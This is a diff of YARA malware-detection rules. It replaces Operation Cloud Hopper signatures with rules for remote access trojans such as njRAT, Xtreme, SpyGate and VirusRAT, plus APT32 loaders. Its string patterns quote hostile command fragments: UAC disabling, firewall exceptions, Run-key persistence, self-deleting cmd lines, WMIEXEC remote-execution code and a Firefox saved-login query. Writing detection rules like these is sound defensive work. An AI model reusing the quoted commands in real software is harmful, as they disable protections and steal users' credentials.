+		$key = "ESIL" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 2 of them )) or (4 of them )
+		4 of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_6 : FILE
+rule SIGNATURE_BASE_RAT_Smallnet
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b7578cbd-0f41-5dec-86f6-5792c305a182"
-		date = "2017-04-03"
+		description = "Detects SmallNet RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "aec1f8fd-2806-527e-9d50-422f212864de"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L136-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f165912001c5e2eb48cef46df12220f7f7a53e908a6af571bb4932c50e355388"
+		reference = "http://malwareconfig.com/stats/SmallNet"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L841-L861"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "17a6be371ce0c616cfea0b42a30e6d9118376912002d59790b133c73fd5436a3"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "aabebea87f211d47f72d662e2449009f83eac666d81b8629cf57219d0ce31af6"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "YDNCCOVZKXGRVQPOBRNXXQVNQYXBBCONCOQEGYELIRBEYOVODGXCOXTHXPCXNGUCHRVWKKZSYQMAOWWGHRSPRGSEUWYMEFZHRTHO" fullword ascii
-		$s2 = "psychiatry.dat" fullword ascii
-		$s3 = "meekness.lnk" fullword ascii
-		$s4 = "SOFTWARE\\EGGORG" fullword ascii
+		$split1 = "!!<3SAFIA<3!!"
+		$split2 = "!!ElMattadorDz!!"
+		$a1 = "stub_2.Properties"
+		$a2 = "stub.exe" wide
+		$a3 = "get_CurrentDomain"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
+		($split1 or $split2) and ( all of ($a*))
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_7 : FILE
+rule SIGNATURE_BASE_RAT_Spygate
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8d32e379-c902-5330-84f5-693a7649a2e4"
-		date = "2017-04-03"
+		description = "Detects SpyGate RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "ed015770-81ff-5d9c-8bd0-3c225e400724"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L154-L168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "01993e785fb7d5de9ea629d31725e86fa169b70dcde9716a5da0b646ac88864a"
+		reference = "http://malwareconfig.com/stats/SpyGate"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L863-L890"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b891212f3a669c6066cfddef418faafd75c92bb2f1e8e1f48403422a73bc9fa"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "44a7bea8a08f4c2feb74c6a00ff1114ba251f3dc6922ea5ffab9e749c98cbdce"
+		quality = 83
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$x1 = "jepsjepsjepsjepsjepsjepsjepsjepsjepsjeps" fullword ascii
-		$x2 = "extOextOextOextO" fullword ascii
+		$split = "abccba"
+		$a1 = "abccbaSpyGateRATabccba"
+		$a2 = "StubX.pdb"
+		$a3 = "abccbaDanabccb"
+		$b1 = "monikerString" nocase
+		$b2 = "virustotal1"
+		$b3 = "get_CurrentDomain"
+		$c1 = "shutdowncomputer" wide
+		$c2 = "shutdown -r -t 00" wide
+		$c3 = "set cdaudio door closed" wide
+		$c4 = "FileManagerSplit" wide
+		$c5 = "Chating With >> [~Hacker~]" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		( all of ($a*) and #split>40) or ( all of ($b*) and #split>10) or ( all of ($c*))
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_8 : FILE
+rule SIGNATURE_BASE_RAT_Sub7Nation
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5e0a09e3-732a-5a90-9d4a-11eae2aa4cc4"
-		date = "2017-04-03"
+		description = "Detects Sub7Nation RAT"
+		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
+		id = "4f41d649-4a90-566b-bda8-0a288380aeaa"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L170-L189"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a27b041a1ff0fae3d06d8050fe3207435cb84f421099dc1cad8f8a503e976860"
+		reference = "http://malwareconfig.com/stats/Sub7Nation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L892-L913"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bd6c423cd5cb5a86b20e5e65ab460904548b8814c92ac65e497757bb79a27681"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b"
-		hash2 = "5cebc133ae3b6afee27beb7d3cdb5f3d675c3f12b7204531f453e99acdaa87b1"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "WSHELL32.dll" fullword wide
-		$s2 = "operator \"\" " fullword ascii
-		$s3 = "\" /t REG_SZ /d \"" fullword wide
-		$s4 = " /f /v \"" fullword wide
-		$s5 = "zok]\\\\\\ZZYYY666564444" fullword ascii
-		$s6 = "AFX_DIALOG_LAYOUT" fullword wide
+		$a = "EnableLUA /t REG_DWORD /d 0 /f"
+		$i = "HostSettings"
+		$verSpecific1 = "sevane.tmp"
+		$verSpecific2 = "cmd_.bat"
+		$verSpecific3 = "a2b7c3d7e4"
+		$verSpecific4 = "cmd.dll"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and 4 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_9 : FILE
+rule SIGNATURE_BASE_RAT_Vertex
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5a02f2ac-905d-550a-bde0-cfde6ed1a4ab"
-		date = "2017-04-03"
+		description = "Detects Vertex RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "f6f5967e-6b88-5d95-8fe1-a286ee8ce64c"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L191-L205"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f45159a508ce8ccb5ab57c7347916642f58ab1b6e0a8886ba53e4810ed65c5c1"
+		reference = "http://malwareconfig.com/stats/Vertex"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L915-L938"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c9fb0dedd97240ad29924865118ba34f5d79dbefbb13729d96d41336ec4de39e"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f0002b912135bcee83f901715002514fdc89b5b8ed7585e07e482331e4a56c06"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "MsMpEng.exe" fullword ascii
-		$op0 = { 2b c7 50 e8 22 83 ff ff ff b6 c0 }
+		$string1 = "DEFPATH"
+		$string2 = "HKNAME"
+		$string3 = "HPORT"
+		$string4 = "INSTALL"
+		$string5 = "IPATH"
+		$string6 = "MUTEX"
+		$res1 = "PANELPATH"
+		$res2 = "ROOTURL"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_10 : FILE
+rule SIGNATURE_BASE_RAT_Virusrat
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a5d3237e-d6db-54ba-bfa6-f642f8096819"
-		date = "2017-04-03"
+		description = "Detects VirusRAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "ef00cec9-d09b-5010-8e7d-bb391c937f34"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L207-L222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "538754e6daadd3efa3e77723dce7143fecad28cf94caa1b29a2d45df44b14ee4"
+		reference = "http://malwareconfig.com/stats/VirusRat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L940-L967"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8540296fe1341a793377494cec9ba6ee0313203bee9997f0da0b692959727c59"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5b4028728d8011a2003b7ce6b9ec663dd6a60b7adcc20e2125da318e2d9e13f4"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$x1 = "bakshell.EXE" fullword wide
-		$s19 = "bakshell Applicazione MFC" fullword wide
-		$op0 = { 83 c4 34 c3 57 8b ce e8 92 18 00 00 68 20 70 40 }
+		$string0 = "virustotal"
+		$string1 = "virusscan"
+		$string2 = "abccba"
+		$string3 = "pronoip"
+		$string4 = "streamWebcam"
+		$string5 = "DOMAIN_PASSWORD"
+		$string6 = "Stub.Form1.resources"
+		$string7 = "ftp://{0}@{1}" wide
+		$string8 = "SELECT * FROM moz_logins" wide
+		$string9 = "SELECT * FROM moz_disabledHosts" wide
+		$string10 = "DynDNS\\Updater\\config.dyndns" wide
+		$string11 = "|BawaneH|" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Malware_11 : FILE
+rule SIGNATURE_BASE_RAT_Xtreme
 {
 	meta:
-		description = "Detects malware from Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "18bd2fa9-7eca-5dbc-8e79-953800d5bb0a"
-		date = "2017-04-03"
+		description = "Detects Xtreme RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "02b7bb6a-5d1e-5379-b366-868680844719"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L224-L240"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7935d3aeef0d4c94a00dd44942a1ba97d0c9fce848914ebc9c59d9f8e9f51599"
+		reference = "http://malwareconfig.com/stats/Xtreme"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L969-L990"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4dec8de6609f8229444291a78e920ac48b9b5751dd0cad7c95bc6529d6f8c16c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a80f6c57f772f20d63021c8971a280c19e8eafe7cc7088344c598d84026dda15"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		ver = "2.9, 3.1, 3.2, 3.5"
 
 	strings:
-		$x1 = "IOGVWDWCXZVRHTE" fullword ascii
-		$op1 = { c9 c3 56 6a 00 8b f1 6a 64 e8 dd 34 00 00 c7 06 }
-		$op2 = { 68 38 00 41 00 68 34 00 41 00 e8 d3 }
+		$a = "XTREME" wide
+		$b = "ServerStarted" wide
+		$c = "XtremeKeylogger" wide
+		$d = "x.html" wide
+		$e = "Xtreme RAT" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Lockdown : FILE
+rule SIGNATURE_BASE_RAT_Adwind
 {
 	meta:
-		description = "Tools related to Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0500f19c-597b-5904-8401-35236215ff29"
-		date = "2017-04-07"
+		description = "Detects Adwind RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "95681c07-0e9c-5688-a8a0-899617521c7b"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L251-L265"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3f24c08817bc94bb4b7d09d51bed62f43952f2c66338f29c4bc8e9000b3ff78a"
+		reference = "http://malwareconfig.com/stats/adWind"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L992-L1011"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "11167b927fa06324950753c6ec8f28058f2aa66fb4ecdf66a21de11a8db190b8"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8ca61cef74573d9c1d19b8191c23cbd2b7a1195a74eaba037377e5ee232b1dc5"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "lockdown.dll" fullword ascii
-		$s3 = "mfeann.exe" fullword ascii
+		$meta = "META-INF"
+		$conf = "config.xml"
+		$a = "Adwind.class"
+		$b = "Principal.adwind"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Opcloudhopper_Windowxarbot : FILE
+rule SIGNATURE_BASE_RAT_Njrat
 {
 	meta:
-		description = "Malware related to Operation Cloud Hopper"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4434632a-1886-5e8b-a205-12220263980a"
-		date = "2017-04-07"
+		description = "Detects njRAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "6289b9c8-eef6-5cfb-97bd-b819158d6fdd"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L267-L279"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d8a9c25032c5371e843f8e80884e43a64c73b1644605b39b2dff11104c3bbcd"
+		reference = "http://malwareconfig.com/stats/njRat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L1013-L1036"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47e8cc71caaefd70a170eb8fc845cb7ddb8df04b90163fe35f1ccb9a3f614c57"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "\\Release\\WindowXarbot.pdb" ascii
+		$s1 = {7C 00 27 00 7C 00 27 00 7C}
+		$s2 = "netsh firewall add allowedprogram" wide
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s4 = "yyyy-MM-dd" wide
+		$v1 = "cmd.exe /k ping 0 & del" wide
+		$v2 = "cmd.exe /c ping 127.0.0.1 & del" wide
+		$v3 = "cmd.exe /c ping 0 -n 2 & del" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		all of ($s*) and any of ($v*)
 }
-rule SIGNATURE_BASE_Opcloudhopper_Wmidll_Inmemory
+rule SIGNATURE_BASE_RAT_Unrecom
 {
 	meta:
-		description = "Malware related to Operation Cloud Hopper - Page 25"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0afb6e52-bc9a-5a68-890b-79a017e5d554"
-		date = "2017-04-07"
+		description = "Detects unrecom RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "56b11c22-f43c-5192-9a0a-0ac14b0cd041"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L281-L293"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6dddda4e519eeaa67eb4c21151cab10553420a23a077751e0fc45fcae0bf6e69"
+		reference = "http://malwareconfig.com/stats/unrecom"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L1038-L1058"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "15ab9ee2f3fd825e91813a185bc5c7d7e790de39cd3e88c375b801d1412a08f4"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "wmi.dll 2>&1" ascii
+		$meta = "META-INF"
+		$conf = "load/ID"
+		$a = "load/JarMain.class"
+		$b = "load/MANIFEST.MF"
+		$c = "plugins/UnrecomServer.class"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_VBS_Wmiexec_Tool_Apr17_1 : FILE
+rule SIGNATURE_BASE_MAL_JRAT_Oct18_1 : FILE
 {
 	meta:
-		description = "Tools related to Operation Cloud Hopper"
+		description = "Detects JRAT malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8175eb74-38f1-5d8f-a668-aa8e215b032e"
-		date = "2017-04-07"
+		id = "f211ef1c-8def-55f0-8817-d01ebd9c2947"
+		date = "2018-10-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/maaaaz/impacket-examples-windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cloudhopper.yar#L295-L318"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0aad1c8dfc07ae3df835ae113bd02abfd706a0646ffcac5dd5691822016d31a"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L1060-L1072"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7c652f3943ae7639633b82663f639adb7dea1bae9e617a14710fb6e448cfdbee"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "21bc328ed8ae81151e7537c27c0d6df6d47ba8909aebd61333e32155d01f3b11"
+		hash1 = "ce190c37a6fdb2632f4bc5ea0bb613b3fbe697d04e68e126b41910a6831d3411"
 
 	strings:
-		$x1 = "strNetUse = \"cmd.exe /c net use \\\\\" & host" fullword ascii
-		$x2 = "localcmd = \"cmd.exe /c \" & command " ascii
-		$x3 = "& \" > \" & TempFile & \" 2>&1\"  '2>&1 err" fullword ascii
-		$x4 = "strExec = \"cmd.exe /c \" & cmd & \" >> \" & resultfile & \" 2>&1\"  '2>&1 err" fullword ascii
-		$x5 = "TempFile = objShell.ExpandEnvironmentStrings(\"%TEMP%\") & \"\\wmi.dll\"" fullword ascii
-		$a1 = "WMIEXEC ERROR: Command -> " ascii
-		$a2 = "WMIEXEC : Command result will output to" fullword ascii
-		$a3 = "WMIEXEC : Target ->" fullword ascii
-		$a4 = "WMIEXEC : Login -> OK" fullword ascii
-		$a5 = "WMIEXEC : Process created. PID:" fullword ascii
+		$x1 = "/JRat.class" ascii
 
 	condition:
-		( filesize <40KB and 1 of them ) or 3 of them
+		uint16(0)==0x4b50 and filesize <700KB and 1 of them
 }
-rule SIGNATURE_BASE_B374K_Back_Connect : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EXT_APT32_Goopdate_Installer
 {
 	meta:
-		description = "Detects privilege escalation tool"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8612bda2-2576-56c0-a4ba-afbef419ab05"
-		date = "2016-08-18"
+		description = "Detects APT32 installer side-loaded with goopdate.dll"
+		author = "Facebook"
+		id = "08f3cbda-ccb7-517a-b205-5f71de26c735"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_b374k_extra.yar#L8-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd89aefb6c1add44bfe2a706cd161a16f36a649f910ace16b641a7836525aa73"
-		score = 80
+		reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt32.yar#L3-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "69730f2c2bb9668a17f8dfa1f1523e0e1e997ba98f027ce98f5cbaa869347383"
+		logic_hash = "1dcb3009c5c19ff4e54d82d3a4b99b3431e78664f1660522a781e815d96958c4"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c8e16f71f90bbaaef27ccaabb226b43762ca6f7e34d7d5585ae0eb2d36a4bae5"
+		tags = ""
 
 	strings:
-		$s1 = "AddAtomACreatePro" fullword ascii
-		$s2 = "shutdow" fullword ascii
-		$s3 = "/config/i386" fullword ascii
+		$s0 = { 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? }
+		$s1 = "GetProcAddress"
+		$s2 = { 8B 4D FC ?? ?? 0F B6 51 0C ?? ?? 8B 4D F0 0F B6 1C 01 33 DA }
+		$s3 = "FindNextFileW"
+		$s4 = "Process32NextW"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <10KB and all of them )
+		(pe.is_64bit() or pe.is_32bit()) and all of them
 }
-rule SIGNATURE_BASE_APT_Cobaltstrike_Beacon_Indicator : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EXT_APT32_Osx_Backdoor_Loader : FILE
 {
 	meta:
-		description = "Detects CobaltStrike beacons"
-		author = "JPCERT"
-		id = "8508c7a0-0131-59b1-b537-a6d1c6cb2b35"
-		date = "2018-11-09"
+		description = "Detects APT32 backdoor loader on OSX"
+		author = "Facebook"
+		id = "ac313bd8-bf15-5b72-b651-35015f71dd90"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike.yar#L40-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f429a7a8c8bbea22eba3bbf81e391dab8e957583283a995d1d60d42f17c20e7"
+		reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt32.yar#L22-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "768510fa9eb807bba9c3dcb3c7f87b771e20fa3d81247539e9ea4349205e39eb"
+		logic_hash = "26964f95a9298b838e06fb9d7f739c8b87a976d8da7fb08416e952d26e84b84e"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 
 	strings:
-		$v1 = { 73 70 72 6E 67 00 }
-		$v2 = { 69 69 69 69 69 69 69 69 }
+		$a1 = { 00 D2 44 8A 04 0F 44 88 C0 C0 E8 07 08 D0 88 44 0F FF 48 FF C1 48 83 F9 10 44 88 C2 }
+		$a2 = { 41 0F 10 04 07 0F 57 84 05 A0 FE FF FF 41 0F 11 04 07 48 83 C0 10 48 83 F8 10 75 }
+		$e1 = { CA CF 3E F2 DA 43 E6 D1  D5 6C D4 23 3A AE F1 B2 }
+		$e2 = "MlkHVdRbOkra9s+G65MAoLga340t3+zj/u8LPfP3hig="
+		$e3 = { 5A 69 98 0E 6C 4B 5C 69  7E 19 34 3B C3 07 CA 13 }
+		$e4 = "1Sib4HfPuRQjpxIpECnxxTPiu3FXOFAHMx/+9MEVv9M+h1ngV7T5WUP3b0zsg0Qd"
+		$e5 = "_ArchaeologistCodeine"
+		$e6 = "_PlayerAberadurtheIncomprehensible"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		(( uint32(0)==0xfeedface or uint32be(0)==0xfeedface) or ( uint32(0)==0xfeedfacf or uint32be(0)==0xfeedfacf)) and (2 of ($e*) or all of ($a*))
 }
-rule SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_Strings
+rule SIGNATURE_BASE_OPCLEAVER_Backdoorlogger
 {
 	meta:
-		description = "Identifies strings used in Cobalt Strike Beacon DLL"
-		author = "Elastic"
-		id = "af558aa2-a3dc-5a7a-bc74-42bb2246091c"
-		date = "2021-03-16"
